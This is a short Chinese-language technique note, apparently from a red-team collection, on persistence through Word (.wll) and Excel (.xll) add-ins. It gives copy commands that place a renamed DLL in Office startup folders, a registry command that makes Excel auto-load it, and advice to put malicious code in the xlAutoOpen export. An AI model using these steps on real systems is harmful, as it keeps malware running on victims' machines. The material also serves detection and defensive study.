# WLL/XLL
#### WLL
是指“.wll”扩展名的“Word加载项”。这是一个Word 97时代的老东西，但似乎仍受支持。“.wll”文件本质上是具有Office特定扩展名的DLL。这意味着它支持基本的DLL功能，因此您可以将“.dll”重命名为“.wll”来使用。
命令行：
```
copy C:\Temp\qwqdanchun.dll %APPDATA%\Microsoft\Word\Startup\qwqdanchun.wll
```
#### XLL
类似于WLL，也是具有Office特定扩展名的DLL，适用于Excel。但是其dll构造时注意要将恶意代码放在导出函数“xlAutoOpen”中来保证其被加载。
命令行：
```
copy C:\Temp\qwqdanchun.dll %APPDATA%\Microsoft\AddIns\qwqdanchun.xll
#remember to change “15.0” to your version
reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Excel\Options" /v OPEN /t REG_SZ /d "/R qwqdanchun.xll”
```
参考文章：
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